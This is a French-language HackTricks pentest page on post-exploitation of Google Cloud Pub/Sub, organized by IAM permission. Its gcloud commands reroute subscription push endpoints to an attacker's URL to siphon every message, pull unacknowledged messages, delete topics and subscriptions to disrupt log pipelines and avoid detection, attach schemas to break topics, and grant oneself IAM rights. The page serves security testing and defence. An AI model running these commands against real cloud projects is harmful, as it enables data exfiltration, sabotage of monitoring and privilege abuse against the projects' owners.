GCP - Pub/Sub Post Exploitation

Soutenez HackTricks

Pub/Sub

Pour plus d'informations sur Pub/Sub, consultez la page suivante :

GCP - Pub/Sub Enum

pubsub.topics.publish

Publier un message dans un sujet, utile pour envoyer des données inattendues et déclencher des fonctionnalités inattendues ou exploiter des vulnérabilités :

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Utile pour empêcher un abonnement de recevoir des messages, peut-être pour éviter la détection.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Utile pour empêcher un abonnement de recevoir des messages, peut-être pour éviter la détection. Il est possible de supprimer un sujet même avec des abonnements attachés à celui-ci.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Utilisez cette permission pour mettre à jour certains paramètres du topic afin de le perturber, comme --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Donnez-vous la permission d'effectuer l'une des attaques précédentes.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Obtenez tous les messages dans un serveur web :

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Créer un abonnement et l'utiliser pour extraire des messages :

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Supprimer un abonnement pourrait être utile pour perturber un système de traitement des journaux ou quelque chose de similaire :

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Utilisez cette permission pour mettre à jour certains paramètres afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, table Big Query, Bucket) ou simplement pour le perturber.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Donnez-vous les permissions nécessaires pour effectuer l'une des attaques précédemment mentionnées.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Attachez un schéma à un sujet pour que les messages ne le remplissent pas et donc que le sujet soit perturbé. S'il n'y a pas de schémas, vous devrez peut-être en créer un.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Cela pourrait sembler que supprimer un schéma vous permettra d'envoyer des messages qui ne respectent pas le schéma. Cependant, comme le schéma sera supprimé, aucun message n'entrera réellement dans le sujet. Donc, cela est INUTILE:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Donnez-vous les permissions nécessaires pour effectuer l'une des attaques précédemment mentionnées.

pubsub.snapshots.create, pubsub.snapshots.seek

Cela créera un instantané de tous les messages non reconnus et les remettra dans l'abonnement. Pas très utile pour un attaquant mais voici :

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Soutenez HackTricks

Last updated